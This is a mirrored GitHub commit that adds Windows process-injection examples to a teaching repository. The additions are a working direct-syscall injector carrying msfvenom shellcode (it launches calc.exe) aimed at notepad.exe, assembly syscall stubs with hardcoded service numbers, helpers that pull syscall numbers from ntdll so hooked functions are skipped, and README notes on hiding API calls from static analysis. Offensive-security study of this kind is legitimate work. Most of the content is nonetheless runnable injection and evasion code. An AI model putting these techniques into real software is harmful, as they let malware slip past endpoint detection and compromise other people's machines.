mirror of
https://github.com/toneillcodes/windows-process-injection
synced 2026-06-21 14:11:25 +00:00
Updating PEB/EAT code, adding syscall examples and snippets
This commit is contained in:
@@ -10,9 +10,9 @@ A collection of examples intended to demonstrate the fundamentals and provide a
|
||||
* [injection-example-4.cpp](https://github.com/toneillcodes/windows-process-injection/blob/main/fundamentals/injection-example-4.cpp): injecting calc.exe msfvenom shellcode into a remote process, with memory protection toggling and using dynamic function resolution
|
||||
|
||||
## Techniques
|
||||
* [Dynamic Function Resolution]()
|
||||
* [Module Stomping]
|
||||
* [Walking the PEB and EAT]
|
||||
* [Direct Syscalls]
|
||||
* [Indirect Syscalls]
|
||||
* [Thread Pool Injection]
|
||||
* [Dynamic Function Resolution](dynamic-function-resolution\README.md)
|
||||
* [Module Stomping](module-stomping\README.md)
|
||||
* [Walking the PEB and EAT](walking-peb-eat\README.md)
|
||||
* [Direct Syscalls](direct-syscalls\README.md)
|
||||
* [Indirect Syscalls](indirect-syscalls\README.md)
|
||||
* [Thread Pool Injection](thread-pool-injection\README.md)
|
||||
@@ -0,0 +1,112 @@
|
||||
/*
|
||||
* ml64.exe /c direct-syscalls.asm
|
||||
* cl.exe direct-syscalls-ex.cpp ps-utils.cpp syscall-utils.cpp direct-syscalls.obj /Fe:direct-syscalls.exe
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include "syscall-utils.h"
|
||||
#include "ps-utils.h"
|
||||
|
||||
extern "C" {
|
||||
// https://ntdoc.m417z.com/NtAllocateVirtualMemory
|
||||
NTSTATUS SysNtAllocateVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
PSIZE_T RegionSize,
|
||||
ULONG AllocationType,
|
||||
ULONG Protect
|
||||
);
|
||||
|
||||
// https://ntdoc.m417z.com/NtWriteVirtualMemory
|
||||
NTSTATUS SysNtWriteVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T NumberOfBytesToWrite,
|
||||
PSIZE_T NumberOfBytesWritten
|
||||
);
|
||||
|
||||
// https://ntdoc.m417z.com/ntcreatethreadex
|
||||
NTSTATUS SysNtCreateThreadEx(
|
||||
PHANDLE ThreadHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PVOID ObjectAttributes,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID lpStartAddress,
|
||||
PVOID lpParameter,
|
||||
ULONG Flags,
|
||||
SIZE_T StackZeroBits,
|
||||
SIZE_T SizeOfStackCommit,
|
||||
SIZE_T SizeOfStackReserve,
|
||||
PVOID lpBytesBuffer
|
||||
);
|
||||
|
||||
// https://ntdoc.m417z.com/NtWaitForSingleObject
|
||||
NTSTATUS SysNtWaitForSingleObject(
|
||||
HANDLE Handle,
|
||||
BOOLEAN Alertable,
|
||||
PLARGE_INTEGER Timeout
|
||||
);
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
unsigned char buf[] =
|
||||
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
|
||||
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
|
||||
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
|
||||
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
|
||||
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
|
||||
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
|
||||
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
|
||||
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
|
||||
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
|
||||
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
|
||||
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
|
||||
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
|
||||
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
|
||||
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
|
||||
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
|
||||
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
|
||||
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
|
||||
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
|
||||
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
|
||||
|
||||
DWORD pid = 0;
|
||||
const wchar_t* processName = L"notepad.exe";
|
||||
|
||||
pid = FindPidByName(processName);
|
||||
if (pid == 0) {
|
||||
printf("[ERROR] Failed to obtain process ID!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Running PI with target PID: %u\n", pid);
|
||||
|
||||
// Open a handle to the current process, this must be passed to VirtualAllocEx
|
||||
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
|
||||
if (pHandle == NULL) {
|
||||
printf("Failed to acquire process handle!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Successfully opened handle to PID: %u\n", pid);
|
||||
|
||||
PVOID bufferAddress = NULL;
|
||||
SIZE_T buffSize = sizeof(buf);
|
||||
//SysNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
|
||||
SysNtAllocateVirtualMemory(pHandle, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
|
||||
|
||||
SIZE_T bytesWritten;
|
||||
//SysNtWriteVirtualMemory(GetCurrentProcess(), bufferAddress, buf, sizeof(buf), &bytesWritten);
|
||||
SysNtWriteVirtualMemory(pHandle, bufferAddress, buf, sizeof(buf), &bytesWritten);
|
||||
|
||||
HANDLE hThread;
|
||||
//SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL);
|
||||
SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pHandle, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL);
|
||||
|
||||
SysNtWaitForSingleObject(hThread, FALSE, NULL);
|
||||
getchar();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
;
|
||||
; Function: NtAllocateVirtualMemory
|
||||
; SSN: 0x0018
|
||||
;
|
||||
; Function: NtWriteVirtualMemory
|
||||
; SSN: 0x003A
|
||||
;
|
||||
; Function: NtCreateThreadEx
|
||||
; SSN: 0x00BC
|
||||
;
|
||||
; Function: NtWaitForSingleObject
|
||||
; SSN: 0x0004
|
||||
;
|
||||
|
||||
.CODE
|
||||
|
||||
; --- NtAllocateVirtualMemory Wrapper ---
|
||||
; This follows the x64 Calling Convention (Windows)
|
||||
; Args: RCX, RDX, R8, R9, [Stack...]
|
||||
|
||||
SysNtAllocateVirtualMemory PROC
|
||||
mov r10, rcx ; The 'syscall' instruction destroys RCX.
|
||||
; We move the first argument (ProcessHandle) to R10
|
||||
; because the kernel expects it there instead of RCX.
|
||||
|
||||
mov eax, 18h ; Load the System Service Number (SSN) into EAX.
|
||||
; 0x18 is the ID for NtAllocateVirtualMemory on
|
||||
; many Windows 10/11 x64 builds.
|
||||
|
||||
syscall ; Transfer control to the Windows Kernel.
|
||||
; The CPU switches to Ring 0 and executes the function
|
||||
; associated with the ID currently in EAX (0x18).
|
||||
|
||||
ret ; Return to the caller. The NTSTATUS result
|
||||
; will be stored in the EAX register.
|
||||
SysNtAllocateVirtualMemory ENDP
|
||||
|
||||
extern wNtAllocateVirtualMemorySSN : DWORD ; Variable defined in C++
|
||||
|
||||
;extern wNtAllocateVirtualMemorySSN : DWORD ; Variable defined in C++
|
||||
;SysNtAllocateVirtualMemory PROC
|
||||
; mov r10, rcx
|
||||
; mov eax, wNtAllocateVirtualMemorySSN ; Load the dynamic SSN
|
||||
; syscall
|
||||
; ret
|
||||
;SysNtAllocateVirtualMemory ENDP
|
||||
|
||||
SysNtWriteVirtualMemory PROC
|
||||
mov r10, rcx
|
||||
mov eax, 3Ah
|
||||
syscall
|
||||
ret
|
||||
SysNtWriteVirtualMemory ENDP
|
||||
|
||||
SysNtCreateThreadEx PROC
|
||||
mov r10, rcx
|
||||
mov eax, 0BCh
|
||||
syscall
|
||||
ret
|
||||
SysNtCreateThreadEx ENDP
|
||||
|
||||
SysNtWaitForSingleObject PROC
|
||||
mov r10, rcx
|
||||
mov eax, 4
|
||||
syscall
|
||||
ret
|
||||
SysNtWaitForSingleObject ENDP
|
||||
|
||||
END
|
||||
@@ -1,2 +1,27 @@
|
||||
# Dyanmic Function Resolution
|
||||
Intended to hide functions from static analysis that evaluates strings and the IAT.
|
||||
Intended to hide functions from static analysis that evaluates strings and the IAT.
|
||||
|
||||
## Overview
|
||||
Define the prototype definition.
|
||||
Use something that doesn't include the string you want to obfuscate.
|
||||
P_VirtualAllocEx is used below along with 'myVirtualAllocEx' which are good for examples but horrible for OPSEC and defeats the purpose of DFR.
|
||||
```
|
||||
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
|
||||
typedef LPVOID(WINAPI* P_VirtualAllocEx)(
|
||||
HANDLE pHandle,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
```
|
||||
|
||||
Call GetProcAddress to resolve the address.
|
||||
```
|
||||
myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx");
|
||||
```
|
||||
|
||||
Invoke the function.
|
||||
```
|
||||
LPVOID bufferAddress = myVirtualAllocEx(pHandle, NULL, sizeof buf, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
|
||||
```
|
||||
@@ -1,8 +1,3 @@
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <intrin.h> // Required for __readgsqword / __readfsdword
|
||||
#include <winternl.h> // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
|
||||
|
||||
#include "peb-eat-utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
#ifndef PEB_EAT_UTILS_H
|
||||
#define PEB_EAT_UTILS_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <intrin.h>
|
||||
#include <stdio.h> // For IO operations
|
||||
#include <windows.h> // For data structures, types, functions
|
||||
|
||||
#include <intrin.h> // Required for __readgsqword / __readfsdword
|
||||
#include <winternl.h> // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
|
||||
|
||||
// Define missing NTSTATUS codes
|
||||
#ifndef STATUS_SUCCESS
|
||||
@@ -0,0 +1,28 @@
|
||||
#include "ps-utils.h"
|
||||
#include <tlhelp32.h>
|
||||
#include <wchar.h>
|
||||
|
||||
extern "C" DWORD FindPidByName(const wchar_t* processName) {
|
||||
DWORD pid = 0;
|
||||
// Force the Wide-character version of the struct
|
||||
PROCESSENTRY32W entry;
|
||||
entry.dwSize = sizeof(PROCESSENTRY32W);
|
||||
|
||||
// Create a snapshot of the system processes
|
||||
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
if (snapshot != INVALID_HANDLE_VALUE) {
|
||||
// Force the Wide-character version of the API
|
||||
if (Process32FirstW(snapshot, &entry)) {
|
||||
do {
|
||||
// Now both sides are Wide strings, so _wcsicmp works!
|
||||
if (_wcsicmp(processName, entry.szExeFile) == 0) {
|
||||
pid = entry.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32NextW(snapshot, &entry));
|
||||
}
|
||||
CloseHandle(snapshot);
|
||||
}
|
||||
return pid;
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
DWORD FindPidByName(const wchar_t* processName);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,40 @@
|
||||
#include "syscall-utils.h"
|
||||
|
||||
extern "C" DWORD GetSSN(PVOID functionAddress) {
|
||||
BYTE* ptr = (BYTE*)functionAddress;
|
||||
|
||||
/* We are looking for the 'mov eax, SSN' instruction.
|
||||
The opcode is B8 (MOV EAX, imm32)
|
||||
In most Windows stubs, it starts at the 4th byte:
|
||||
4C 8B D1 B8 [SSN] 00 00 00
|
||||
|
||||
index 0: 4C 8B D1 (mov r10, rcx)
|
||||
index 3: B8 <SSN> (mov eax, ...)
|
||||
*/
|
||||
if (ptr[3] == 0xB8) {
|
||||
return *(DWORD*)(ptr + 4);
|
||||
}
|
||||
|
||||
// If it's not at index 3, an EDR might have hooked it.
|
||||
// We can search for the 0xB8 byte within the first few instructions.
|
||||
for (int i = 0; i < 16; i++) {
|
||||
if (ptr[i] == 0xB8) {
|
||||
return *(DWORD*)(ptr + i + 1);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Simplified logic to find the 'syscall' opcode (0x0F 0x05)
|
||||
extern "C" PVOID GetSyscallAddress(PVOID functionAddress) {
|
||||
BYTE* ptr = (BYTE*)functionAddress;
|
||||
|
||||
// Search the first 32 bytes of the function for the syscall instruction 0f 05
|
||||
for (int i = 0; i < 32; i++) {
|
||||
if (ptr[i] == 0x0F && ptr[i+1] == 0x05) {
|
||||
return (PVOID)(ptr + i);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
DWORD GetSSN(PVOID functionAddress);
|
||||
PVOID GetSyscallAddress(PVOID functionAddress);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,18 @@
|
||||
#include <stdio.h>
|
||||
|
||||
#include "syscall-utils.h"
|
||||
|
||||
int main() {
|
||||
HMODULE hModule = GetModuleHandleA("ntdll.dll");
|
||||
PVOID funcAddress = GetProcAddress(hModule, "NtCreateThreadEx");
|
||||
|
||||
if (funcAddress) {
|
||||
DWORD ssn = GetSSN(funcAddress);
|
||||
PVOID sysAddr = GetSyscallAddress(funcAddress);
|
||||
|
||||
printf("Function: NtCreateThreadEx\n");
|
||||
printf("SSN: 0x%04X\n", ssn);
|
||||
printf("Syscall: 0x%p\n", sysAddr);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
.code
|
||||
|
||||
; extern "C" DWORD GetSSNFromAddress(PVOID funcAddr);
|
||||
; Argument 'funcAddr' is in RCX
|
||||
GetSSNFromAddress PROC
|
||||
mov r8, rcx ; Copy function address to R8
|
||||
xor rax, rax ; Clear RAX (our return value)
|
||||
mov r9, 0 ; Counter for our search loop
|
||||
|
||||
search_loop:
|
||||
; Check if we've searched too far (e.g., 32 bytes)
|
||||
cmp r9, 32
|
||||
je not_found
|
||||
|
||||
; Look for 0xB8 (mov eax, ...)
|
||||
cmp byte ptr [r8 + r9], 0B8h
|
||||
je found_ssn
|
||||
|
||||
inc r9
|
||||
jmp search_loop
|
||||
|
||||
found_ssn:
|
||||
; The SSN starts at the byte after 0xB8
|
||||
inc r9
|
||||
mov eax, dword ptr [r8 + r9]
|
||||
ret
|
||||
|
||||
not_found:
|
||||
xor eax, eax ; Return 0 if not found
|
||||
ret
|
||||
GetSSNFromAddress ENDP
|
||||
|
||||
END
|
||||
@@ -7,8 +7,8 @@
|
||||
// for testing with MessageBoxA
|
||||
#pragma comment(lib, "user32.lib")
|
||||
|
||||
#include "../header-files/utils.h"
|
||||
#include "../header-files/peb-eat-utils.h"
|
||||
#include "utils.h"
|
||||
#include "peb-eat-utils.h"
|
||||
|
||||
#define MAX_EXPORTED_FUNCS 25
|
||||
|
||||
|
||||
Reference in New Issue
Block a user